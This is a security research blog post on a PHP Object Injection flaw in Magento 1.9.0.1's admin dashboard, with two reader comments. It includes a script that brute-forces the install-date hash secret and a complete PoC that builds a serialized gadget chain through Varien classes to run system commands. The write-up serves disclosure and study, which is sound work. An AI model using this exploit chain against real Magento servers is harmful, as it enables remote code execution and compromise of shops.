Magento 1.9.0.1 PHP Object Injection

Recently, I found a PHP Object Injection (POI) vulnerability in the administrator interface of Magento 1.9.0.1. Magento is an e-commerce software written in PHP that was acquired by Ebay Inc. A bug bounty program is run that attracts with a 10,000$ bounty for remote code execution bugs. A POI vulnerability can lead to such a remote code execution, depending on the gadget chains the attacker is able to trigger.

Sadly I stopped investigating the POI vulnerability and resumed 1 week later – a fatal error. When I continued investigating exploitable gadget chains, Magento pushed an update in the meantime that patches several security issues. The POI is not mentioned anywhere, but it is fixed by replacing the affected unserialize() call with json_decode().

So no bug bounty, but the exploitation is still worth a look at because it includes a hash verification bypass and a cool gadget that allowed full code coverage in gadget chaining. In the end, an attacker can execute arbitrary code on the targeted server. However, administrator privileges are required.

1. PHP Object Injection

In Magento 1.9.0.1, the method tunnelAction() of the administrator’s DashboardController is affected by a POI vulnerability. It deserializes user data supplied in the ga parameter.

	// app/code/core/Mage/Adminhtml/controllers/DashboardController.php
	public function tunnelAction()  
	{  
		$gaData = $this->getRequest()->getParam('ga');  
		$gaHash = $this->getRequest()->getParam('h');  
		if ($gaData && $gaHash) {  
			$newHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);  
			if ($newHash == $gaHash) {  
				if ($params = unserialize(base64_decode(urldecode($gaData)))) {  

A closer look reveals, however, that the base64 encoded, serialized data is protected with a hash from manipulation. The hash of the gaData is generated with the method getChartDataHash() and is then compared to the hash supplied in the h parameter. Only if both hashes match, the data is deserialized.

Lets get some sample data. The tunnelAction() is triggered, when the dashboard graph is loaded.

	// app/design/adminhtml/default/default/template/dashboard/graph.phtml
	<img src="<?php echo $this->getChartUrl(false) ?>

Here, the method getChartUrl() serializes graph parameters and creates the gaHash of the base64 encoded gaData.

	// app/code/core/Mage/Adminhtml/Block/Dashboard/Graph.php
	function getChartUrl() {
		...
		$gaData = urlencode(base64_encode(serialize($params)));  
		$gaHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);  
		$params = array('ga' => $gaData, 'h' => $gaHash);  
		return $this->getUrl('*/*/tunnel', array('_query' => $params));  
	}

The following request is generated and can be intercepted:

/index.php/admin/dashboard/tunnel/key/803e506c399449c72975fc1fcc2c0435/
?ga=eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9
&h=61f3757d04b665baac6f8176a2012337

We can base64 decode the data in the ga parameter (line 2) and modify the serialized parameters in order to exploit the PHP Object Injection vulnerability. However, we then have to generate a valid hash for our malformed data and replace it with the hash in the h parameter (line 3). Otherwise, our manipulated data is not deserialized.

2. Hash Verification

Lets have a look at how the hash is generated and if we can forge it for manipulated data. The hash is created in the getChartDataHash() method by calculating the MD5 hash of the base64 encoded data concatenated with a secret. If we know this secret, we can generate our own hash for our modified gaData.

	// app/code/core/Mage/Adminhtml/Helper/Dashboard/Data.php
	public function getChartDataHash($data)  
	{  
		$secret = (string)Mage::getConfig()->getNode(Mage_Core_Model_App::XML_PATH_INSTALL_DATE);  
		return md5($data . $secret);  
	}  

Luckily, the secret is cryptographically very weak. As the constant’s name suggests, the config value XML_PATH_INSTALL_DATE refers to the date of the Magento installation in RFC 2822 format. For example, the secret date could look like the following:

Sat, 1 Nov 2014 21:08:46 +0000

Assuming that the installation was performed maximum 1 year ago, there are less than 31 * 12 * 24*60*60 = 32 Mio possibilities. We can take the intercepted sample data to bruteforce the secret date locally. Furthermore, we can narrow down the possible date window by observing the HTTP response header of the targeted web server. For example, the HTTP response for a request of the favicon file tells us its last modification date:

Request:			 
GET /favicon.ico HTTP/1.0
Response
If-Modified-Since: Wed, 05 Nov 2014 09:06:45 GMT

This should equal to the exact date when the installation files were copied to the server. We can then assume, that the installation was performed at least within the same month when this file was extracted. Also, it tells us the timezone (here GMT) used by the server. This leaves us only with 30 * 24*60*60 = 2.6 Mio possibilities which can be bruteforced within a few seconds.

$gaData = 'eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9';

$hash = '61f3757d04b665baac6f8176a2012337';

date_default_timezone_set('GMT');
// Wed, 05 Nov 2014 09:06:45 GMT
$timestamp = mktime(9, 6, 45,  11, 5, 2014);
$today = time();
for($i=0;$i<2592000 && $timestamp<$today; $i++) {
	$secret = date(DATE_RFC2822, $timestamp++);
	if(md5($gaData . $secret) === $hash) {
		echo $secret;
		break;
	}
}

Once we obtained the secret, we can alter the serialized data and create a valid hash for it, so our data is deserialized by the server. That means we can inject arbitrary objects into the application and trigger gadget chains by invoking the object’s magic methods (for more details please refer to our paper).

3. Gadget Chain

Magento’s code base is huge and many interesting initial gadgets (magic methods) can be found that trigger further gadgets (methods). For example, the usual File Deletion and File Permission Modification calls can be triggered in order to delete files. This is partly interesting in Magento, because the deletion of the /app/.htaccess file allows to access the /app/etc/local.xml file which contains the crypto key.

However, since we own already administrative privileges, we are interested in more severe vulnerabilities. It turns out, that the included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code on the server.

The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that allows us to jump to arbitrary clean() methods.

	// lib/Varien/File/Uploader/Image.php:357		 
	function __destruct()  
	{  
		$this->uploader->Clean();  
	}

This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its query() method. The table name can be controlled by the attacker by setting the property _options[‘data_table’].

	 
	// lib/Varien/Cache/Backend/Database.php
	public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array())  
	{  
		$adapter = $this->_adapter;  
		switch($mode) {  
			case Zend_Cache::CLEANING_MODE_ALL:  
				if ($this->_options['store_data']) {  
					$result = $adapter->query('TRUNCATE TABLE '.$this->_options['data_table']);  
				} 	
			...
		}
	}

If we provide the Varien_Db_Adapter_Pdo_Mysql as database adapter, its query() method passes along the query to the very interesting method _prepareQuery(), before the query is executed.

	
	// lib/Varien/Db/Adapter/Pdo/Mysql.php
	public function query($sql, $bind = array())  
	{  
		try {  
			$this->_checkDdlTransaction($sql);  
			$this->_prepareQuery($sql, $bind);  
			$result = parent::query($sql, $bind);
		} catch (Exception $e) {  
			...
		}  
	}  

The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name is reflected, but also the receiving object. This allows us to call any method of any class in the Magento code base with control of the first argument – a really cool gadget found by the new RIPS prototype.

	
	// lib/Varien/Db/Adapter/Pdo/Mysql.php	 
	protected function _prepareQuery(&$sql, &$bind = array())  
	{  
		...
		// Special query hook  
		if ($this->_queryHook) {  
			$object = $this->_queryHook['object'];  
			$method = $this->_queryHook['method'];  
			$object->$method($sql, $bind);  
		}
	}  

From here it wasn’t hard to find a critical method that operates on its properties or its first parameter. For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the regular expression of a preg_replace() call is built dynamically with the properties _startTag and _endTag that we control. More importantly, the dangerous eval modifier is already appended to the regular expression, which leads to the execution of the second preg_replace() argument as PHP code.

		 
	// lib/Varien/Filter/Template/Simple.php	 
	public function filter($value)  
	{  
		return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e',
		'$this->getData("$1")', $value);  
	}  

In the executed PHP code of the second preg_replace() argument, the match of the first group is used ($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using curly brace syntax.

4. Exploit

Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in order to invoke its clean() method. We point the object’s _adapter property to a Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable _prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload, for example:

{${system(id)}}RIPS

We also append the string RIPS as delimiter. Then we point the _queryHook property of the Varien_Db_Adapter_Pdo_Mysql object to a Varien_Filter_Template_Simple object and its filter method. This method will be called via reflection and receives the following argument:

TRUNCATE TABLE {${system(id)}}RIPS

When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE and the property _endTag to RIPS the first match group of the regular expression in the preg_replace() call will be our PHP code. Thus, the following PHP code will be executed:

$this->getData("{${system(id)}}")

In order to determine the variables name, the system() call will be evaluated within the curly syntax. This leads us to execution of arbitrary PHP code or system commands.

PoC:

class Zend_Db_Profiler { 
	protected $_enabled = false; 
}
class Varien_Filter_Template_Simple {
	protected $_startTag;
	protected $_endTag;
	public function __construct() {
		$this->_startTag = 'TRUNCATE TABLE ';
		$this->_endTag = 'RIPS';
	}
} 
class Varien_Db_Adapter_Pdo_Mysql {
	protected $_transactionLevel = 0;
	protected $_queryHook;
	protected $_profiler;
	public function __construct() {
		$this->_queryHook = array();
		$this->_queryHook['object'] = new Varien_Filter_Template_Simple;
		$this->_queryHook['method'] = 'filter'; 
		$this->_profiler = new Zend_Db_Profiler;
	}
}
class Varien_Cache_Backend_Database {
	protected $_options;
	protected $_adapter; 
	public function __construct() {
		$this->_adapter = new Varien_Db_Adapter_Pdo_Mysql;
		$this->_options['data_table'] = '{${system(id)}}RIPS';
		$this->_options['store_data'] = true;
	}
}
class Varien_File_Uploader_Image {
	public $uploader;
	public function __construct() {
		$this->uploader = new Varien_Cache_Backend_Database;
	}
}	

$obj = new Varien_File_Uploader_Image;
$b64 = base64_encode(serialize($obj));
$secret = 'Sat, 1 Nov 2014 21:08:46 +0000';
$hash = md5($b64 . $secret);
echo '?ga='.$b64.'&h='.$hash;

The POI was straight-forward but we had to circumvent a hash verification first and find nice gadgets. A reflection injection allowed us to trigger almost arbitrary gadget chains through the entire code base that in the end allowed remote code execution. In the next post we have a look at another POI I played with lately, but triggering the POI itself will be more tricky.

4 Responses to Magento 1.9.0.1 PHP Object Injection

  1. Lut0x says:

    Wow nice! Can’t wait to see the finished prototype :p

  2. Nice writeup!

    However, since administrator privileges are required to exploit the vulnerability, the hash verification bypass is not really something essential, because once you access the administration dashboard you can go to System -> Tools -> Backups and make a System Backup to download all Magento files, including /app/etc/local.xml where you can find the installation date.

    Furthermore, another gadget chain which can give you arbitrary PHP code execution capabilities is the one found by Stefan Esser back in 2009 (http://www.securityfocus.com/archive/1/508343), the one which leverages the “filter” method from the “Zend_Filter_PregReplace” class.

Leave a comment